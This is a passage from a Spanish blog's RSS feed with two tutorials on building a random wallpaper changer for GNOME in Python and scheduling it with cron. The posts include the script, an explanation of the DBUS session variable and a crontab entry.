-webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Recuerda que cuando programamos una tarea en Crontab, no tenemos acceso a todas las variables de entorno. Para que el cambiador de wallpaper funcione necesitaremos pasarle la variable de entorno llamada DBUS_SESSION_BUS_ADDRESS al script que coloquemos en Crontab. Para encontrar el valor de la variable de entorno podemos hacerlo desde terminal, usando el comando printenv.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printenv | grep DBUS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DBUS_SESSION_BUS_ADDRESS&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;unix:path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/run/user/1000/bus&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También podemos usar Python para obtener este valor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DBUS_SESSION_BUS_ADDRESS&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora que tenemos el valor de la variable de entorno, podemos agregarlo a las variables de entorno por medio &lt;em&gt;os.environ&lt;/em&gt;. Ahora este valor estará disponible para Crontab cuando se ejecute el script.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#!/usr/bin/python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DBUS_SESSION_BUS_ADDRESS&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;unix:path=/run/user/1000/bus&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# LINEA NUEVA&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wallpaper_folder &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/home/usuario/Imágenes/wallpaper/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Coloca aquí tu propia ruta absoluta&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;chdir(wallpaper_folder)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allowed_image_formats &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpeg&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list_of_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [image &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;listdir() &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#ff5c57&#34;&gt;tuple&lt;/span&gt;(allowed_image_formats))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random_wallpaper &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;join(os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getcwd(), random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(list_of_images))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;programar-el-cambio-de-wallpaper-con-cron-y-crontab&#34;&gt;Programar el cambio de wallpaper con Cron y Crontab&lt;/h2&gt;&#xA;&lt;p&gt;Una vez hecho esto estamos listo para agregar nuestro script a Crontab&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crontab -e&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para este ejemplo cambiaremos de wallpaper cada 6 horas. Pero tu puedes colocar la frecuencia en el valor que tu quieras.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; */6 * * * &lt;span style=&#34;color:#ff5c57&#34;&gt;$PWD&lt;/span&gt;/.change_wallpaper_random.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También debes de asegurarte de que tu archivo tenga los permisos de ejecución adecuados, tengo una entrada explicando el tema de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/entiende-los-permisos-en-gnu-linux-y-el-comando-chmod/&#34;&gt;chmod y los permisos en GNU/Linux&lt;/a&gt;&#xA; que puedes revisar.&lt;/p&gt;&#xA;&lt;p&gt;Guardamos el archivo y este debería empezar a ejecutarse automáticamente una vez pasadas 6 horas, o la frecuencia que tú le hayas colocado, cambiando el wallpaper por uno aleatorio en la carpeta que especificaste en el script de Python.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En la entrada anterio hicimos un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/como-programar-un-cambiador-de-wallpaper-automatico-en-python/&#34;&gt;cambiador de wallpaper automático en Python&lt;/a&gt;&#xA;. En esta entrada vamos a usar Cron para programar la ejecución periódica de este script y que se encargue de cambiar el wallpaper cada cierto tiempo, automáticamente, ya sea cada hora, dos horas, cada día, cada minuto o la frecuencia que nosotros querramos.&lt;/p&gt;&#xA;&lt;p&gt;Si no sabes como funciona el daemon Cron y como programar las tareas usando esta herramienta, por favor revisa mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/programa-tareas-periodicas-facil-en-linux-con-cron-y-crontab/&#34;&gt;Cron y Crontab.&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo crear un cambiador de wallpaper automático usando Python en Gnome?</title>
      <link>https://coffeebytes.dev/es/python/como-crear-un-cambiador-de-wallpaper-automatico-usando-python-en-gnome/</link>
      <pubDate>Sat, 15 Feb 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/como-crear-un-cambiador-de-wallpaper-automatico-usando-python-en-gnome/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En esta entrada vamos a crear un cambiador de wallpaper automático, aleatorio y minimalista para GNU/Linux usando Python. Sin funciones extras, súper ligero y totalmente casero, su única función será seleccionar una imagen aleatoriamente y fijarla como wallpaper. Explicaré la función de cada linea en el código.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Actualizado:&lt;/strong&gt; Para Gnome 49 y Python 3.12&lt;/p&gt;&#xA;&lt;p&gt;Si no estas familiarizado con la sintaxis de Python, lee sobre uno de los mejores libros para adentrarte en Python en mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;el libro Inmersion en Python&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Para empezar primero cambiemos de directorio a &lt;em&gt;home&lt;/em&gt;/&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; ~&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez aquí vamos a crear un archivo Python con el nombre &lt;em&gt;.change_wallpaper_randomly.py&lt;/em&gt; pero puedes ponerle cualquier otro nombre, solo asegúrate de que el nombre empiece con un punto &amp;ldquo;.&amp;rdquo; En GNU/Linux &lt;strong&gt;todos los archivos que empiezan con un punto son archivos ocultos&lt;/strong&gt;, volver nuestro script un archivo oculto nos servirá más adelante.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch .change_wallpaper_randomly.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si en este punto sientes que no estás familiarizado con estos comandos GNU/Linux puedes leer mi entrada sobre los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comandos básicos de GNU/Linux&lt;/a&gt;&#xA; para refrescar tu memoria.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cambiar-wallpaper-automaticamente-con-python&#34;&gt;Cambiar wallpaper automáticamente con Python&lt;/h2&gt;&#xA;&lt;p&gt;Ahora dentro del archivo que acabamos de crear vamos a colocar el siguiente código&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#!/usr/bin/python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wallpaper_folder &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/home/usuario/Imágenes/wallpaper/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Coloca aquí tu propia ruta&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;chdir(wallpaper_folder)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allowed_image_formats &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpeg&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list_of_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [image &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;listdir() &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#ff5c57&#34;&gt;tuple&lt;/span&gt;(allowed_image_formats))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random_wallpaper &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;join(os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getcwd(), random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(list_of_images))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Las versiones más nuevas de Gnome usan un parámetro diferente para el tema oscuro&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# En este caso usamos el mismo wallpaper para ambos temas&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri-dark &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Primero importamos las librerias &lt;em&gt;os&lt;/em&gt; y &lt;em&gt;random&lt;/em&gt;, para tener acceso a herramientas para interactuar con el sistema operativo y métodos para números aleatorios, respectivamente.&lt;/p&gt;&#xA;&lt;p&gt;A continuación asignamos la ruta donde se encuentran las imágenes a la variable &lt;em&gt;wallpaper_folder&lt;/em&gt;, &lt;strong&gt;esta ruta tú la defines, es la ubicación de tu carpeta con las imágenes que quieres usar de wallpaper.&lt;/strong&gt; Para este ejemplo asegúrate de usar una ruta absoluta.&lt;/p&gt;&#xA;&lt;p&gt;El método os.&lt;em&gt;chdir()&lt;/em&gt; nos permitirá cambiarnos al directorio donde tenemos las imágenes que usaremos como wallpapers.&lt;/p&gt;&#xA;&lt;p&gt;La variable &lt;em&gt;allowed_image_formats&lt;/em&gt; establecerá que formatos de imágenes aceptaremos como wallpapers.&lt;/p&gt;&#xA;&lt;p&gt;La siguiente linea es un poco más compleja y, por la sintaxis, podrás apreciar que se trata de una &lt;em&gt;list comprehension&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list_of_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [image &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;listdir() &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#ff5c57&#34;&gt;tuple&lt;/span&gt;(allowed_image_formats))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;os.listdir()&lt;/em&gt; nos devolverá una lista con todos los archivos en nuestra carpeta actual, es decir todos aquellos wallpapers contenidos en la carpeta a la que nos cambiamos con &lt;em&gt;os.chdir()&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, 